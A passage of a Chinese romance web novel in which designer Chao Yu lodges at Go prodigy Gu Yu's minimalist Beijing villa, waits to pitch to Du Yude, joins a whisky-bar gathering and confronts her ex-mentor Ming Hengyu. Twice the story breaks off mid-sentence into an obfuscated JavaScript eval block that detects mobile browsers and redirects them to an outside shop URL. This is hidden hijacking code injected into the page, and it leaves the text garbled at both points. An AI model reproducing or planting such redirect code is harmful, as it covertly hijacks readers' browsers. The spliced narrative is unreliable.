晁雨拖着行李箱走过,站在出站口给辜屿发短信:[请问你家的地址?] 北京的夏天不似江南,是一种裹着人黏着人的湿热,紫外线很强,晃得人眯起眼睛。 晁雨捏着手机想:如果辜屿没回…… 她低头搜了下快捷酒店的价格。 算了辜屿还是回吧。害羞算什么,自尊骄傲又算什么,呵呵呵呵。 辜屿回了,发过来一串地址,没别的话。 晁屿搜了下地址,地铁公交都不到,得拖着行李箱走半小时以上。 她不得已打了辆车,司机一看地址:“嗬,姑娘,有钱人啊。” 一口地道的京片子,倍儿接地气。 到小区门口下了车,发现这是一片巨大的别墅区。保安看向她的眼神很警惕,毕竟这里的业主就算不开车,打车也没有打快车的。 加上她穿的,着实普通。 这时一辆劳斯莱斯开过,保安立刻立正敬礼,后座窗口透出的女人,大夏天也穿香奈儿粗呢小香风套装,卷发精致,膝上抱着只狮子狗。 保安送完业主又来给晁雨做登记,同时给辜屿打电话确认她信息。 登记完,晁雨看着保安眨眨眼。 保安也看着她眨眨眼。 “那个,不给我一张临时通行证什么的?”晁雨问。 “那不行。”保安一脸严肃:“每次进出我们都要严格登记,保障小区业主的绝对安全。” 晁雨苦笑。 估计这里住着不少名流明星,也不知能不能碰到个把两个。 按房号找到辜屿家,摁门铃,无人应。 刚好这时手机响,把她吓了一跳。 看了眼,是那串她没保存的数字。 接起来:“喂。” “到了?”辜屿冷薄的声线传来。 “嗯。你不在家?” “xxxxxx。”辜屿直接报了串数字就挂了电话。 晁雨反应了下,才意识到那是电子锁的密码。 不是有那什么远程开锁之类的吗?就这么把密码告诉她了? 这孩子心真大。 开门进去,晁家祖宅也大,所以晁雨倒没惊讶于这独栋别墅的面积。 而是空,特别空。黑白灰的极简装修,十分性冷淡。 晁雨打开鞋柜,发现里面就一双灰色拖鞋,应该是辜屿自己穿的。 一双客用拖鞋都没?家人朋友不来的吗? 晁雨试了下那灰金石的大理石地板,一尘不染,光洁得能照镜子。 她就光着脚进去了。 巨大的客厅估计把非承重墙都打了,没有电视没有音响,只有一张巨大的云灰沙发,配一张玄灰地毯。 一张金属石茶几,上上下下凌乱地堆着棋谱。 晁雨坐过去打开电脑,查了查最近杜昱德活动的行程。她在亚轩时跟杜昱德的一个助理打过交道,通过微信联系了下。 对方告诉她:[杜老时间不确定,要不你来公司等。] [好的。]有这么个机会晁雨已感激不尽。 要说重回北京是什么感觉,出乎晁雨自己意料的,最大感觉居然是困。 大概以前在亚轩被虐得太惨了,没日没夜的不知加过多少班。 以至于一闻到北京干燥的空气,只要不面对电脑,那叫一个困。 晁雨整理了会儿要提报给杜昱德的相关资料,又刷了会儿手机,眼皮越来越沉。 辜屿回家的时候,发现晁雨睡着了。 侧躺在沙发上,发出轻而绵长的呼吸,打开的笔记本电脑放在茶几上,屏幕已经熄了。一盏落地灯开着,浅金的光线洒落在她脸上。 辜屿拿了本棋谱,坐到沙发的最边上。 这张沙发的确足够大,她这么躺着,他坐下来仍有余裕。 只不过—— 他翻了页棋谱,眼尾的视线垂落。 她今天穿一条铅白色的铅笔裤,纤细的脚腕露出来,沐浴在浅金的光泽中。 她是典型的江南姑娘,一切都是细细的。 腰细细的,脚踝细细的,只堪一握,脆弱得让人想要去破坏。 辜屿收回视线,又翻一页棋谱。 晁雨睁眼的时候,先是打了个哈欠。眨了两下眼,意识到自己刚刚睡着了。 这沙发比绝大多数床还舒服,加上新风系统,无需开空调,系统调试出恒定适宜的温湿度。 她都没想到自己一觉睡得这么沉,睡醒了还懒洋洋躺着。 屋里静得只听到她自己的呼吸,辜屿应该还没回来。 她蜷起一只手臂枕在侧颊下,开始打量起屋内的陈设。 诶……嘿? 沙发另侧的角落,辜屿坐在那里,正翻棋谱。 晁雨一下子弹坐起来。 啊这这这,她霸着人家的沙发大睡特睡,把主人挤到只能坐最角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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盛了两碗出来,端到大理石餐桌上。又从冰箱里拿了瓶气泡水,拿了个杯子,微蹙了下眉,又去橱柜里翻找许久,才找到另一个杯子。 加了近乎满杯的冰块,倒上气泡水。二氧化碳撞击着冰块,发出嘶啦一声。 他在餐桌边坐下,端起气泡水喝了口。 哗,晁雨心想,果然冻着一张脸的人,喝水都这么冰。 她走到桌边,把面碗勾过来,坐到辜屿的斜对面。 两人之间形成一条最远的对角线,彼此吃得很沉默。 面的味道谈不上多好,但辜屿会自己做饭这件事已够令人惊讶。 吃完面,晁雨主动去洗了碗。 又问辜屿:“我睡哪一间?” “左手边第一间,隔壁是客卫。” “好,谢谢。”晁雨下意识往楼上看了眼。 这大别野足有三层,大家分开楼层住岂不是更方便? 辜屿难得多解释了句:“楼上一直空着,也没怎么好好装修。” ……这人物欲低下到如此地步。 晁雨实在没忍住问:“那为什么要买别墅?” 辜屿瞥她一眼:“小区人少。” ……壕无人性! 晁雨把自己的行李箱搬到客房,看了眼对面的房间,门虚掩着。 说实话,这房子就连一楼的空置率都很高。有使用痕迹的这间,应该就是辜屿的卧室。 主卧必定有独立卫浴,晁雨听到辜屿进了主卧,估摸着他不会再出来了,才拿了浴巾睡衣去洗漱。 回到房间,关上门,看了眼反锁键,啪哒一声锁了。 想了想,跟防贼似的。 又啪哒一声,把反锁键按开了。这么两下动静,也不知对面的主卧听不听得到。 环视一圈房内,也空得跟什么似的。 唯独床上一套床品,一种发暗的藏蓝色,很明显的男生气质。 晁雨走过去坐在床畔,指尖轻轻抚过。 这是辜屿自己的床品?没有家政阿姨的话,这也是辜屿自己套的? 心里一瞬涌起种很奇妙的感觉,下一瞬,又被打进来的视频通话截断。 晁雨不自觉吁出一口气,肩膀放松下来。 接起视频:“喂。” 打视频来的是许辰懿,葛洁却在旁边冒出一颗头来:“喔唷,到了也不晓得给家里打个电话。” “啊,忘记了。”晁雨赔笑道。 “你在二狗子家安顿好了伐?” “是的呀,我住客房。”晁雨调转摄像头,简单拍给葛洁看。 “不要给人家添麻烦知道伐?” “晓得了。” 葛洁去忙了,视频镜头里切换成许辰懿。 晁雨问:“你去我爸妈摊上了?” “是呀,你不在,我一个人待在家也无聊。”许辰懿晃了下镜头,拍自己面前的桂花元宵,囫囵吞了颗,边嚼边说:“你再转一下摄像头,拍一圈给我看看。” 晁雨拍给她看。 “嚯,这么空。”许辰懿嘀咕:“这算不算那什么侘寂风?有钱人都喜欢这德行?” “不知道。” “看起来十分性冷淡。”许辰懿总结道:“对了,辜屿弟弟到底有没有腹肌?” “……我为什么会知道?” “那你们都同居了,他总归要洗澡吧,总归要换家居服吧,那家居服的料子总归很薄吧,你总可以看出身材的轮廓若隐若现吧。”许辰懿道:“不然他又不打球又不运动的,住得还这么性冷淡,我总担心他,有点虚。” 25. 第四件小事07 晁雨心想,要不怎么是亲闺蜜呢。 辜屿是不是有点虚这问题,她也想过。 她不止想过,她还问出口过。就是她骑电瓶出车祸、辜屿把她从地上拉起来那次。 不过……辜屿是不是真的有点虚啊? 辜屿进她房间送奶茶那次,还有两人在劝宁塔接吻那次,辜屿的耳后都起了类似过敏的红痕。 这是不是有点虚的证明? 许辰懿在视频里问:“北京很热吗?” “嗯?” “你脸怎么那么红。” “哦,是呀,三十八度往上跑,干热干热的。”不过晁雨没说这房子恒温恒湿,永远是二十六度的适宜。 “啧啧啧啧。”许辰懿叹道:“怎么办,我都不想回北京上班了。” 挂断视频,晁雨又把明天去见杜昱德的会话提纲预拟了遍。 关了灯盖好被子,北京不像洵州,没那么多蛙鸣虫啁,甚至也听不到空调的声音。 她半张脸缩在被子里,确认了一件事—— 这套床品的确是辜屿的。 洗过,有松木洗衣液的冷香。若不是她嗅觉太过敏感,这环境又暗静到人的全部感官集中于嗅觉的话。 估计她也闻不到,辜屿身上的味道,丝丝缕缕,从床品的编织纹里钻出来。 她的睡衣很薄,这些味道紧贴着她皮肤,包裹着她。 她有点睡不着,索性拧开台灯,缩在被子里刷手机。 在微博搜索框里输入[辜屿]两个字,即便已是深夜,实时微博还是唰唰唰地跳出来。 他在赛场上冷静落子的。 他对着媒体镜头埋首匆匆走过的。 他在广告拍摄现场塞着耳机翻棋谱的。 若说这些照片有什么共同点。 那就是他看起来都很冷。冷到像一个没有七情六欲的人。 可晁雨捏着手机,能听到对面房间有轻微响动。 他就在那里。 微博上众人称颂的、无暇到近佛而似妖的存在,他就在那里。 第二天一早,晁雨是挣扎着被闹钟唤醒的。 该说不说,在这里睡得真的很好。这就是伟大的钞能力么? 她换好衣服才去隔壁客卫洗漱,准备回房的时候,刚好看到辜屿从走廊尽头的房间出来。 穿一身黑色的运动衣裤,汗湿的碎发随意垂落在额前,犹然显得清爽,手里拎着个运动水壶。 看起来,走廊尽头的房间是他的运动房。 原来他是要运动的。 晁雨想起昨晚跟许辰懿的视频通话,视线不自觉往他腹前垂落。 这,尽管运动T恤汗湿了半贴在身上,也看不出有没有腹肌线条啊。 辜屿视线淡淡扫过来,她才意识到自己在看哪,目光腾一下弹起来,又跟辜屿的视线撞个正着。 晁雨反而镇定下来:姐姐就看了,怎么着吧。 你还拍广告让所有人看呢。 辜屿眉毛很轻地往上挑了下。 晁雨点了点头算是打招呼,拔腿往自己房间走,能听到辜屿的脚步隔着段距离,跟在她身后。 晁雨回房关上门,背靠在门上,看着久违的北方阳光从半开的窗帘里透进来。 她把笔记本电脑收进包里,开门,敲了敲对面主卧的门:“我先走了。” “嗯。” 晁雨没拖行李箱的时候,就不想费钱打车,扫了辆共享单车骑到地铁口。 等地铁的时候,悄悄从高跟鞋里拎起脚腕。 穿着高跟鞋骑车,够磨人的。 走进昱德工作室的大楼,乘电梯去前台,碰到不少带着昱德工作证的人,都在悄悄打量她。 晁雨想:我都红成这样了。 建筑设计圈子,或者说任何一个圈子都是这样,好事不出门,坏事传千里。 她之前在亚轩顶包那么大一丑闻,人人都会来查一查,这个叫“晁雨”的年轻设计师是谁。 走出电梯,去前台说明来意。 “哦好的,那您在休息区等吧。”前台指指旁边。 休息区沙发上已坐着不少来自各公司的设计师,昱德工作室有点古时“广开言路”那味儿,不少设计师都希望杜昱德对自己负责的项目看上一眼,能获得他青眼的话,这项目就算成了。 晁雨坐过去,打开自己的笔记本电脑。 等着也是等着,她继续研究祝境鹤关于劝宁塔的那份修缮方案。 方案里有不少可取之处,就是最后的结构承重问题,牵一发而动全身,始终解决不了。 不是听不到旁边有人窃窃私语,还有人举起手机悄悄对着她拍照。 晁雨抬起头来看着那人。 她视线这么直接,对方反而怔了下。 晁雨抬手指指墙面挂着的牌子:[谢绝拍照]。 对方讷讷收起手机。 坐在晁雨旁边的一名设计师束着精致卷发,穿利落的职业套装,对着笔记本电脑打字,时不时端起茶几上的%咖啡喝一口。 接着她越过晁雨去洗手间。 擦过茶几的时候,膝盖一动,把咖啡杯蹭倒在晁雨身上。 咖啡还剩个底,尽数洒在晁雨的白衬衫上。 晁雨抬起头看她。 她笑得很客气:“实在不好意思。” 现实生活其实就是这样,不是什么谁给你穿小鞋、你就跳起来给人一大嘴巴子的快意恩仇。 因为很多时候,你连对方是不是在给你穿小鞋都不知道。 她是因为晁雨蹭脏了衣服会先离开、自己就少一个竞争者,还是因为晁雨先前的丑闻,还是纯属不小心,晁雨真的说不清。 等她去洗手间,晁雨悄悄拍衬衫上的咖啡渍,发给许辰懿。 许辰懿立马就炸了:[你怎么老碰上这种事啊?我说姐们儿你要不要到庙里去算算啊?] 说起来,许辰懿和晁雨的相识,也是因为一杯咖啡。 晁雨第一次去亚轩面试,被引导到面试的会议室外等。 她视力不错,一瞟旁边那些应聘者的简历,差点没吓死。 硕士博士就不说了,藤校的都有好几个。只有晁雨自己,来自个普通的一本。 而且,人人都穿得好洋气哦。 晁雨心里就有点虚,跑去上了趟洗手间。 回会议室外的时候撞见刚才坐她旁边的一个男人,说一口地道京片子,简历格外漂亮,端着杯星巴克。 路过晁雨,侧身时一个手抖,咖啡就溅到了晁雨身上。 他道歉:“不好意思啊。” 坐在旁边走廊里的一个姑娘,就笑出了声。 晁雨瞟了眼这间会议室挂的牌子,发现这是市场部面试的等候区。 笑出声的那姑娘,身高一米七往上,穿白衬衫铅笔裙,配一双九厘米高跟鞋,那腿长的,恨不得脖子以下全是腿。 妩媚红唇大卷发,一开口也是地道的京片子:“怎么着,害怕跟姑娘竞争,这么下作的手段都用上啦?” 男人眉一皱:“你怎么说话呢?说话要讲证据的。” 姑娘笑盈盈地站起来,手里也端杯星巴克。 老实说,晁雨有点怵这种姑娘,太洋气了喂。 男人警惕看着她手里的咖啡:“你不会也想泼我吧?你这明显就是故意,我能去面试组告你。” “不至于。”姑娘笑得轻盈:“我就算跟狗打架,也不至于咬狗咬自己一嘴毛。” 她一转手腕,攥住晁雨胳膊,就把晁雨拖进了洗手间。 接着就开始脱衣服。 晁雨有点慌:“那什么……我喜欢异性。” “妹妹,想哪儿去了?”姑娘瞥她一眼:“我把衬衫借你。” “啊?那你穿什么?” 姑娘已脱了衬衫抛给她,露出里面一件瑜伽运动背心,紧致肌肉线条有训练过的痕迹,十分漂亮。 姑娘已拎起包往外走:“我就穿这个,那叫一剑走偏锋、锋芒毕露、露……” 她回头看晁雨:“什么来着?” 晁雨:“……露水姻缘。” 她哈哈一笑,出去了。 那天面试,她和晁雨都过了。后来,又过了二面、三面。她成了亚轩的一个传奇,人人提起她都知道——穿背心面试的那姑娘。 晁雨后来才知道她不是北京土著,来自东北的一个小城,但她有一绝活,能把各地口音学得惟妙惟肖。 再后来,两人一起租了套房,开启了在亚轩的四年。 晁雨这会儿坐在昱德工作室的等候区,想:谁受了欺负第一反应还是给闺蜜发微信嘤嘤嘤啊。 她给许辰懿发:[嘤嘤嘤。] 许辰懿回:[等着!姐们儿打个飞的回北京胖揍这孙子一顿。] 晁雨咧嘴笑。 够啦。生活待她不薄。 等到中午,来自各公司的设计师已经混熟了,互相约着一起去吃午饭。 当然,没人叫晁雨。 晁雨也没想去,她就在这里等,想着有万分之一的可能,杜昱德会在午餐时间从办公室出来。 当然没有。 又等一下午,直到晚上八点,没见到杜昱德的影子,前台礼貌来请他们离开。 晁雨乘地铁,在地铁口的便利店里买了个三明治,蹬共享单车回辜屿家。 蹬了一路,她实在太饿了,等不到走回辜屿家,穿着高跟鞋挎着电脑包,站在小区门口大口大口啃三明治。 抬头看一眼夜空,大城市没有星星,这里高楼林立,霓虹闪耀。 一辆阿斯顿马丁从她身边滑过,好奇看了她眼。 她把包装揉成一团扔进垃圾桶,低头看一眼衬衫上的咖啡渍,走向门岗,准备去进行又一轮繁复的登记。 没想到保安远远朝她敬了个礼,便放行了。 晁雨微一怔,拎着电脑包往小区里走。 阿斯顿马丁的车主反而停下在门岗登记,看了晁雨的背影一眼。 晁雨走到辜屿家门前,阿斯顿马丁刚好开进来停在她身后,眼见着她要输密码打开辜屿家的门。 “诶等等!”一个年轻男人箭步蹿上前来。 晁雨吓一跳,扭头看对方。 二十四五岁的年纪,肤白,脸窄,一双上挑的桃花眼,是时下很流行的长相。 “你等等,等等啊。”男人一手示意晁雨稳住,另一手掏出手机来打电话:“弟弟,我抓住弟妹了,今晚聚会你再不去,说不过去了吧?” 晁雨:??? 她开口:“不是,我……” 对方开口问:“跟辜屿快结婚了吧?” “啊?” “上次相亲那个,对吧?发展神速啊这小子,居然瞒着我,这要是让我见到他,我非得……” 这时一阵脚步。 辜屿站在路灯下。 桃花眼话锋一转:“……我非得好好问一下他为什么这么风度翩翩翩然若仙仙姿玉质。” 晁雨一听:这用成语的风格,跟许辰懿有一拼。 辜屿走上前,看桃花眼一眼。 “噢。”桃花眼从晁雨身边退开一步。 辜屿低声叫晁雨:“开门。” 他站在晁雨身子,修长的影子笼下来。 晁雨低着头,输密码开门。 电子锁啪哒一声,桃花眼抓紧时机问辜屿:“去不去啊?” 辜屿看一眼晁雨。 小区仿维多利亚风格的路灯洒落下来,她白衬衫上的咖啡渍变成了月亮上的铜纹。她看上去有点低落,纤柔的眉眼垂落下来。 辜屿说:“去。” “得嘞。”桃花眼兴奋地掌住电子锁,生怕这门锁上就再不打开了。 辜屿提醒他:“脚。” 晁雨低头看,桃花眼的脚尖踏进了门框以内。 桃花眼嘀咕一声,老老实实把脚尖挪出去,站在门口等。 辜屿和晁雨一起进门,也打算去换件衣服。 晁雨叫住他:“那个。” 辜屿回头。 “那是你朋友?” “不算。” “你去跟他们聚会的话……我为什么也要去啊?” 辜屿想了想:“挡酒?” 用的还是疑问句。 晁雨无语:寄人篱下,不得不低头。 她回房换了件白T配牛仔裤,这次来北京除了几身正装,只带了这些。 打开房门时,刚好辜屿从主卧走出来。 他还是简单的黑T黑裤。没有任何LOGO,极简的款式很衬他。 两人一前一后走出大门。 桃花眼十分捧场:“嚯,情侣装!” 晁雨:“不是。” 辜屿没说什么,三人一起上了桃花眼的阿斯顿马丁。 桃花眼热情的自我介绍:“我叫丁鷇音,鷇就是……你打开输入法吧,就是你能打出来最复杂的那个字。” 这名字有点绕口,晁雨在心里就叫他桃花眼。 跑车在北京的街道上疾驰,马达轰鸣阵阵,前车窗打开一条缝,夜风爽朗地钻进来。 原来北京拥堵的街道,对某些人来说,也是畅通无阻。 车开到一座低矮建筑门口,黑与白的棱角分明,有格调到晁雨想掏出手机拍照,存作素材。 没有任何招牌,走进去才发现是一家威士忌吧。 晁雨以前跟着明恒宇,进过一次这种地方去见甲方。知道这种地方都是会员制,充卡十万起步。 三人走进包厢,满座皆是一愣。 说不上因为看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666743|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辜屿,还是看见辜屿身后的晁雨。 丁鷇音介绍:“想不到吧,一起来的还有弟妹……” 坐在卡座里的一个男人,拼命朝他使眼色。 丁鷇音话头一转,扭头向辜屿:“……吧?” “不是。”辜屿示意晁雨坐,介绍她的名字:“晁雨。” “小雨啊。”这帮人还挺自来熟。 辜屿:“她快二十七岁了。” 晁雨:…… 不是,有这么报女生年纪的么? “哦哦,雨姐。” 辜屿走到黑胶唱机边,随手拿了张,抽出来放到唱针下。 他手指冷白修长,下棋好看,做这样挑起唱针的动作,有一种冷禁的勾人感。 晁雨注意到,卡座深处有个长相精致漂亮的女孩,一直看着辜屿。 流畅舒缓的音乐流淌,辜屿到晁雨旁边坐下。 隔着段距离,只感到沙发的皮料微微下压,他身上的气味袭过来。 像昨晚裹住她的床单。 朋友张罗着给辜屿倒酒,晁雨瞥了眼那深琥珀色的洋酒,看上去度数不低。 倒至晁雨这里,辜屿开口:“她不要。” 拿起桌上的酒单,另点了杯。 很快服务员送酒进来,辜屿点了点晁雨面前。 那是一杯很漂亮的酒。圆形的深口圆杯,淡淡通透的乳白色,接近杯底的地方渐变泛起些荔色。 晁雨用眼神问辜屿:这是? 辜屿:“度数更高。” 晁雨端起来喝了口。 呵,无酒精。 晁雨渐渐听出来了,这一帮人都是辜家世交的子弟。 这样的社交场合,有丁鷇音那样跟只猴儿一样满场乱蹿的。也有跟辜屿一样,靠在沙发上不讲话的。 晁雨也不讲话。可今天这样的夜晚,让她在一个热闹的场合待着,比让她安静待着胡思乱想的好。 不知过了多久,那个漂亮女孩坐到辜屿身边来:“嗨。” 辜屿径直站起,对方愣了下。 辜屿说:“出来聊聊。” 便走出包厢。 女孩跟着她走出去。 丁鷇音:“那谁?” “给辜屿安排的相亲对象,澳洲回来的千金。” “啊这。”丁鷇音瞟了晁雨一眼,他先前显然就把晁雨误会成这位了。 朋友又道:“辜屿不是不见么,那孙子就把人带来了。” 被指到的另个朋友委屈道:“我哪知道是这么个情况。” 晁雨觉得坐着听他们聊这些有点尴尬,起身出了包厢,去洗手间。 她也没想上厕所,就在洗手间静静站了会儿,划动微博看有没有杜昱德的最新行程。 不一会儿,刚才那个漂亮女孩一把推开门进来。 也没管晁雨,对着盥洗镜去擦眼泪浸花的眼线,一边跟朋友打电话吐槽:“他讲话有必要这么直接吗?” “他还问我,为什么他需要考虑我的感受?” 晁雨推门走出洗手间。 镂空的花窗望出去,看见辜屿站在一棵栾树下。 他不抽烟,就那么站着,脊背削薄,淬了月光,像暗夜里一把锋利的刀。 晁雨走回包间,大约五分钟后,辜屿推门进来。 那漂亮女孩再没回来过。 丁鷇音猴儿一样蹿了满场,最后坐定在晁雨身边:“雨姐,你跟辜少怎么认识的?” “在洵州。” 桃花猴儿懵了下:“洵州是哪儿?” 晁雨瞟辜屿一眼,嘴里答:“南方的一个小地方。他去办事,偶遇。” 丁鷇音点点头:“备赛吧?那你是不是救过他的命?” “……啊?” “要不你就是苗族人。” 晁雨:? 丁鷇音斩钉截铁地说:“你会下蛊。要不他能让你借住,还把密码告诉你?” 晁雨其实已经明白了。 辜屿这人不仅傲,而且独。 他买一栋别墅空置两层,就因为小区密度低,人少。 他家里只有一双拖鞋,没有任何待客打算,甚至不找家政不点外卖。 他并非完全不跟人打交道,可北京是北京,洵州是洵州,他切割得很开。他从不对北京的朋友提起洵州,也不会对洵州的男孩们提起北京。 这样无论他离开北京或洵州,他都可以走得彻彻底底,一点线索都不留下。 等到喝得差不多了,众人就散了。 丁鷇音很熟练地帮所有人叫了代驾,又问辜屿:“我送你们啊?” 辜屿:“不用。” 掏出手机叫车。 他有负责赛事的团队,也有经纪团队。晁雨以为他会有固定的司机。 可他没有,他叫了辆专车。 他不跟任何人过从甚密,即用即散。 他蒙着口罩掌着车门,让晁雨先坐进去。 自己也坐进后排。毕竟他这样的长相,坐在副驾有点招眼。 两人都靠边,像固守着各自那边的车窗。 晁雨看着窗外。 北方的天显得很高远,高楼耸入云端,霓虹掩去了星星的光,无数巨幅的奢品广告中,偶尔有一幅辜屿的一闪而过。 他从来不笑,品牌方也不需要他笑。他们需要他矜傲,华丽,冷漠。 就像北京这座城市。 它就在这里,看似触手可及。可当你抵达它、触碰它、在它的怀抱里生活了很多很多年,然后你才发现,你从来没有融入过它。 你离开时,它仍然一如最初的矜傲,华丽,冷漠,泯灭掉你所有试图留下的痕迹。 晁雨缓缓吁出一口气来。 两人下车,走进小区,二十四小时轮班的保安礼貌敬礼。 辜屿刷指纹开门,勾腰拿出拖鞋,丢到晁雨脚边。 晁雨踏进拖鞋,他已往客厅走去。 晁雨路过客厅走回客房的时候,他坐在沙发上翻棋谱。 他也喝了酒,并且不算少。可晁雨知道他一点都没醉,他永远理智、冷静,妖刀出鞘随时见血封喉,他这样的人应该从不会允许自己失控。 反倒晁雨觉得自己有点头晕。她没喝酒,可熏了整晚的酒气。 当她走到客房门口的时候。 “晁雨。”辜屿叫了她一声。 她回眸。 冷白的少年坐在沙发里,薄韧孤高,并不孤独,孤独只是在晁家老宅的天井里,被充满烟火气的昏黄灯火晃出那一瞬的情绪。 别墅挑高,莫名烘托出一种教堂般的神圣意味,他是这方领域里凌厉的年轻的王。 可这时王很轻的动了下唇角,显出开口前那么一瞬的犹豫。 辜屿问:“你是不是不高兴?” 26. 第四件小事08 晁雨站在客房门口,一手搭在门把手上。 也许那泛着金属光泽的门把手,被恒温恒湿的智能系统吹得很凉,她手指缩了下。 问:“我为什么不高兴?” 辜屿隔着遥远的距离,与她对视。 又来了,那种空气里绷出一根弦的感觉。 晁雨不知过了多久,直到辜屿低下头去,那根隐形的弦啪地一声,又断了。 绷断的金属琴弦弹在晁雨的心脏上,隐隐是一种酸疼。 她钻进客房,直到辜屿回主卧关上门,她才出来去客卫洗漱,然后拿了被咖啡泼脏的白衬衫去洗衣房。 先找洗衣液,把溅上咖啡渍的地方用力搓洗了下。 其实咖啡渍是最难洗的,污渍不为所动。 可这件衬衫,算她所有衣服里挺贵的了。女孩的衣柜里好像总有那么一两件衣服,买的时候要咬一咬牙,平时不穿,只留给所有的正式场合。 晁雨把洗衣液涂满污渍处,靠在一边墙上,等它浸泡十分钟。 接着又用力搓洗,看污渍一点点变淡,打开洗衣机把衬衫丢进去,调选模式。 她又靠在一边墙上,透过半透的洗衣机盖看衬衫翻滚。 无意识咬着自己的嘴皮,心想:我为什么不高兴? 因为辜屿没把相亲这件事告诉她? 她并没有不高兴的理由和立场。他们只是意外在深夜的古塔里接吻,双方都没有走入一段感情的打算。 她觉得手指有些发痒,以为是被蚊子咬了,无意识去挠,又觉得疼。 低头一看,才发现是刚才搓洗衬衫时,把手指磨破了。 很荒唐地,她想:手指磨破了还能再长好,只要把衬衫洗干净就好了。 她把洗完的衬衫晾到衣架上,顺着窗口往外望一眼。 高端别墅区的视野真好。 好像所有的霓虹都对这里闪烁,世界露出笑脸,宇宙温柔不堪。 - 晁雨第二天提早了些出门,辜屿还在运动。 她先绕去洗衣房看了眼。 在心里骂了句脏话:靠。 她昨晚费了那么大劲搓洗,还以为洗干净了,今早在阳光下一看,衬衫下摆还是透出淡淡浅黄的污渍。 她蹬共享单车去地铁口,这次学乖了,先去便利店买了个三明治放包里,反正这玩意凉了吃也不怕。 又去杜昱德的工作室等,今天的设计师比昨天又多了两位。 众人挤挤攘攘坐在沙发上,晁雨并拢膝盖,笔记本电脑架在膝头。 这时手机响,她看了眼,掩着唇接起:“喂?” 九叔懒洋洋的声音传来:“你听我说啊,现在的局面是,横排爆了三个雷,往上一排爆了两个,在这两个中间,竖排往上爆了两个,你说我该按哪?” 他们坐得挤,旁边设计师瞟晁雨一眼。 “……”晁雨压低声:“你搞笑呢?我现在在杜昱德的工作室等,你问我这个?” “哼。”九叔冷笑一声:“现在早不是什么做好设计就能走天下的年代咯。” 挂了电话,前台来请众人,表示杜老有一小时的时间,他们可以依次用十分钟介绍自己的项目。 众人呼啦站起来。 前台笑着看看晁雨:“晁小姐,你可能不太方便。” 晁雨微怔了下。 先是觉得可能因为以前亚轩的丑闻,杜老介怀,便暂且没跟过去。 但,以杜老的眼界,应该知道这其中很多事,不是她这个级别的设计师能决定的。之前跟杜老的助理联系,对方也没暗示过。 晁雨想了想,坐下来,继续在沙发上等。 一小时后,其他设计师们离开,几家欢喜几家愁。 晁雨继续等。 一直到午饭时间,工作室的员工们外出用餐,有些看她一眼,掩嘴窃窃私语。 公司安静下来,她悄悄从包里取出三明治,小口小口地吃。 忽然这时,留下值班的前台恭敬站起身来,晁雨跟着望过去,从公司走出来的老者朱颜鹤发,声若洪钟,保养得极好。 晁雨赶忙把嘴里的一口三明治咽下去,剩下的装进袋子塞回包内,站起来准备迎上去。 忽然止步。 因为转过玻璃门,她看见跟在杜老身边的人,是明恒宇。 脑子里嗡地一声,刚刚一口水煮蛋吞的太急,梗在嗓子眼,堵得人心脏发疼。 明恒宇看到她了,或者说,明恒宇早知道她在这,亲切而温文尔雅地同她打招呼:“小雨。” 称呼和语调都和以前一样。 好像什么都不曾改变。 杜老看向晁雨的眼神,则有些意味深长。 两人去了前台,跟前台吩咐了些什么,前台频频点头。 之后,杜老同明恒宇告别,回自己办公室。 前台引着明恒宇:“我还是带您从杜老的专用电梯走,方便点。” 剩下晁雨一个人孤零零站在原地。 她望着明恒宇的背影。相较于明恒宇温文尔雅的笑,也许他的背影更真实,背对着晁雨,在演绎一种无声的嘲笑。 晁雨开口:“师父。” 明恒宇和前台一起回头,上挑的眉尾显出一丝意外。 晁雨很平静地看着他:“聊聊?” - 明恒宇和晁雨来到楼下咖啡馆。 看着她坐在自己对面,拿过餐单,很娴熟地点了两杯咖啡。 她还清楚记得他的喜好:“两倍浓缩,不加糖。” 而她给自己点的是:“冰美式,谢谢。” 明恒宇打量着她。 还记得她第一次来公司面试,穿一件过分板正的衬衫配西裤。一头乌发在脑后束个马尾,一张清恬的脸素颜无妆,小得像只有十七八岁。 往好听了说叫素。往不好听了说,那就叫土。 她和他一样,南方小城出身。刚入北京刀光剑影的职场,什么都不懂。 不懂怎么把正装穿得又潮又好看。 不懂怎么八面玲珑地同人打交道。 甚至不懂点咖啡。 明恒宇记得她刚开始点咖啡,总喜欢加很多的奶和枫糖浆,有时还要浮夸的加一大圈奶油。 他蜷起指节敲一敲桌面:“我们不这么点咖啡。” “什么?”晁雨抬起眼。 “无糖无奶,黑咖。”他言简意赅地说。 “为什么?” “因为这样有品格。” 这时他坐在晁雨对面,很轻地咂一下嘴,听晁雨问他:“到底为什么要做得这么绝?” “因为生气。”明恒宇说:“明明你听话一点,我们结婚也不是不可能。” - 晁雨怔了下。 刚刚下电梯的一路,她预想过明恒宇的很多种回答。 但万万没想到这一种。 “什么?”她想在明恒宇面前成熟稳重点,但实在没忍住反问道。 明恒宇啜了口咖啡:“你刚来亚轩的时候,我选中你,因为你看起来真的很乖。” 乖,且土。柔柔顺顺、很好掌控的模样。 他一点一点按计划改造晁雨。 只要她乖的话,他是真的可以和她结婚,给她名,给她利,让她成为自己职场路上最好的掩护。 可他渐渐发现,晁雨跟他想得不一样。 就像晁雨看到今天的局面、不会被动挨打,而会主动叫住他追问为什么一样。 晁雨在设计中,也有很多她自己的想法。 明恒宇问:“还记不记得你离开亚轩前,做的最后一个案子?” 晁雨当然记得。 那是一个山区图书馆。 明恒宇:“为什么一定要用砖墙?” 那个案子中,图书馆一间侧室设计,晁雨主张用砖墙,明恒宇主张用玻璃。 